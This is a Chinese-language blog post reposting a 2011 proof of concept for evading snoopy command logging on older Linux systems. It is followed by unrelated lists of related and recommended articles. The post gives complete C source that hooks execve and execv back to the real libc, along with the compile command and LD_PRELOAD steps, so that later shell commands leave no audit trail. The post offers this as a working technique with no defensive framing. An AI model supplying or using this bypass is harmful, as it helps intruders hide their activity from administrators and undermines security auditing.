不讲原理,感兴趣请看http://blog.rchapman.org/posts/Bypassing_snoopy_logging/,这个只适合老版本内核的Linux

查看是否有snoopy加载了

ldd `which ls`

输出类似如下就是snoopy被加载了

[ryan@buggy ~]# ldd `which ls`
/usr/local/lib/snoopy.so (0x00002af2d1210000)
librt.so.1 => /lib64/librt.so.1 (0x00002af2d1412000)
libacl.so.1 => /lib64/libacl.so.1 (0x00002af2d161b000)
libselinux.so.1 => /lib64/libselinux.so.1 (0x00002af2d1822000)
libc.so.6 => /lib64/libc.so.6 (0x00002af2d1a3a000)
libdl.so.2 => /lib64/libdl.so.2 (0x00002af2d1d91000)
libpthread.so.0 => /lib64/libpthread.so.0 (0x00002af2d1f96000)
/lib64/ld-linux-x86-64.so.2 (0x00002af2d0ff3000)
libattr.so.1 => /lib64/libattr.so.1 (0x00002af2d21b1000)
libsepol.so.1 => /lib64/libsepol.so.1 (0x00002af2d23b5000)

查看日志可以看到类似如下的内容

[ryan@buggy ~]# tail /var/log/secure
Apr 13 12:03:07 buggy snoopy[19511]: [uid:544 sid:10430 tty:/dev/pts/2 cwd:/home/ryan filename:/usr/bin/ldd]: ldd /bin/ls [uid:544 sid:10430 tty:/dev/pts/2 cwd:/home/ryan filename:/usr/bin/ldd]: ldd /bin/ls

建立bypass.c

/*
* Proof of concept to bypass snoopy logging
*
* Many parts of the code came directly from the snoopy source itself.
*
* Ryan A. Chapman
* Wed Apr 13 13:28:10 MDT 2011
*/ #define _GNU_SOURCE
#include <dlfcn.h>
#include <stdio.h>
#include <stdarg.h>
#include <stdlib.h>
#include <sys/types.h>
#include <syslog.h>
#include <string.h>
#include <errno.h> #if defined(RTLD_NEXT)
# define REAL_LIBC RTLD_NEXT
#else
# define REAL_LIBC ((void *) -1L)
#endif #define FN(ptr,type,name,args) ptr = (type (*)args)dlsym (REAL_LIBC, name)
#define FN_HANDLE(handle, ptr,type,name,args) ptr = (type (*)args)dlsym (handle, name) int execve(const char *filename, char *const argv[], char *const envp[])
{
Dl_info info;
void *handle = dlopen("/lib64/libc.so.6", RTLD_NOW|RTLD_LOCAL);
if(handle == NULL)
handle = dlopen("/lib/libc.so.6", RTLD_NOW|RTLD_LOCAL);
static int (*func)(const char *, char **, char **); FN_HANDLE(handle,func,int,"execve",(const char *, char **, char **));
return (*func) (filename, (char**) argv, (char **) envp);
} /* Put the libc version of execv back in place */
int execv(const char *filename, char *const argv[])
{
Dl_info info;
void *handle = dlopen("/lib64/libc.so.6", RTLD_NOW|RTLD_LOCAL);
if(handle == NULL)
handle = dlopen("/lib/libc.so.6", RTLD_NOW|RTLD_LOCAL);
static int (*func)(const char *, char **); FN_HANDLE(handle,func,int,"execv",(const char *, char **));
return (*func) (filename, (char **) argv);
}

编译

gcc -nostartfiles -shared -O3 -fomit-frame-pointer -fPIC bypass.c -obypass.so -ldl

加载模块

export LD_PRELOAD=/full/path/to/bypass.so
/bin/bash

之后的操作就不会被snoopy记录了。所以snoopy的作者是反对将其用来做安全审计工作的。

绕过Snoopy的记录功能的更多相关文章

  1. 个人理解---在开发中何时加入日志记录功能[java]

    是这样的:俩个月前做的一个小功能,今天经理突然问我这个'清除复投记录'功能是不是我做的,我说是,很久以前了.他说昨天一个客户找过来了,后台把人家的复投记录清除掉了,不知道何时清除的,我记得当时做的时候 ...

  2. HAproxy增加日志记录功能和自定义日志输出内容、格式

    http://blog.51cto.com/eric1/1854574 一.增加haproxy日志记录功能   1.1 由于数据分析的需要,我们必须打开haproxy日志,记录相关信息. 在配置前,我 ...

  3. PSP表格记录功能

    关于王者荣耀交流协会的PSP表格记录功能,就是针对我们平时做表格时候遇到问题的简化与解决.这部分功能可以记录我们开始时间,暂停时间,结束时间,并自动计算出各个时间段的净时间.只要你开始工作时点一下开始 ...

  4. 如何自行给指定的SAP OData服务添加自定义日志记录功能

    有的时候,SAP标准的OData实现或者相关的工具没有提供我们想记录的日志功能,此时可以利用SAP系统强大的扩展特性,进行自定义日志功能的二次开发. 以SAP CRM Fiori应用"My ...

  5. php之框架增加日志记录功能类

    <?php /* 思路:给定文件,写入读取(fopen ,fwrite……) 如果大于1M 则重写备份 传给一个内容, 判断大小,如果大于1M,备份 小于则写入 */ class Log{ // ...

  6. Easyui+MVC+FullCalendar插件实现日程记录功能

    好久好久好久,,,没有写博客了,,久到账号都忘记了....分享一个干货.... 废话少说,先看看效果图. 要实现这样一个功能,先创建一个用于存储日程的记录表(不要问我为什么都是大写,因为初版在orac ...

  7. tp5下通过composer实现日志记录功能

    tp5实现日志记录 1.安装 psr/log composer require psr/log 它的作用就是提供一套接口,实现正常的日志功能! 我们可以来细细的分析一下,LoggerInterface ...

  8. 在SpringBoot中用SpringAOP实现日志记录功能

    背景: 我需要在一个SpringBoot的项目中的每个controller加入一个日志记录,记录关于请求的一些信息. 代码类似于: logger.info(request.getRequestUrl( ...

  9. 使用日志记录功能查看PHP扩展的执行过程

    了解过PHP内核的同学都知道,PHP的一次请求的生命周期 1.启动Apache后,PHP解释程序也随之启动.PHP调用各个扩展的MINIT方法,从而使这些扩展切换到可用状态 2.当一个页面请求发生时, ...

随机推荐

  1. 牛客练习赛32-D-MST+tarjin割边

    链接:https://ac.nowcoder.com/acm/contest/272/D来源:牛客网 题目描述 小p和他的朋友约定好去游乐场游玩,但是他们到了游乐场后却互相找不到对方了. 游乐场可以看 ...

  2. Oracle11g温习-第十二章:tables

    2013年4月27日 星期六 10:44 1.表的功能 存储.管理数据的基本单元(二维表:由行和列组成) 2.表的类型  1)普通表:[heap table(堆表) :数据存储时,无序的,对它的访问采 ...

  3. 121. Best Time to Buy and Sell Stock 买卖股票的最佳时机

    网址:https://leetcode.com/problems/Best-Time-to-Buy-and-Sell-Stock/ 第一想法是滑动窗口法,稍微尝试后发现不可行,至少我不会... 而后想 ...

  4. 四、触发器(Trigger)

    一.触发器 有点类似AOP里的拦截器,触发器不能传递参数,也不能输出参数,也不能显式调用,只有当满足触发器条件的时候Oracle会自动调用. 触发器: 1.语句级别的触发器:CRUD操作 2.行级别的 ...

  5. InnoDB支持的最大事务数量

    Innodb存储引擎有rollback segment,每个rollback segment中记录了1024个undo log segment,在每个undo log segment中进行undo页的 ...

  6. nodejs 修改端口号 process.env.PORT(window环境下)

    各个环境下,nodejs设置process.env.PORT的值的命令,如下1.linux环境下: PORT= node app.js 使用上面命令每次都需要重新设置,如果想设置一次永久生效,使用下面 ...

  7. error: http://ppa.launchpad.net lucid Release: The following signatures couldn't be verified because

    ubuntu 命令行sudo apt-get update W: GPG error: http://ppa.launchpad.net lucid Release: The following si ...

  8. H5离线缓存技术Application Cache

    H5离线缓存技术Application Cache 1.离线缓存技术:是浏览器本身的一种机制 HTML5引入Application Cache(应用程序缓存)技术,离线存储可以将站点的一些文件存储在本 ...

  9. 【原创】<Debug> QString

    [问题1] 'class QString' has no member named 'toAscii' [解答] 把toAscii().data()改成toLatin1().data() 如果QStr ...

  10. day33 线程的创建 验证线程之间共享数据 守护线程 线程进程效率对比 锁 死锁 递归锁

    今日内容: 1.线程理论 2.锁: 牺牲了效率,保证了数据的安全(重点) 3.守护线程 4.GIL锁:(重点) 5.计算密集型和IO密集型 6.信号量,事件(了解) 7.补充. 子进程中不能input ...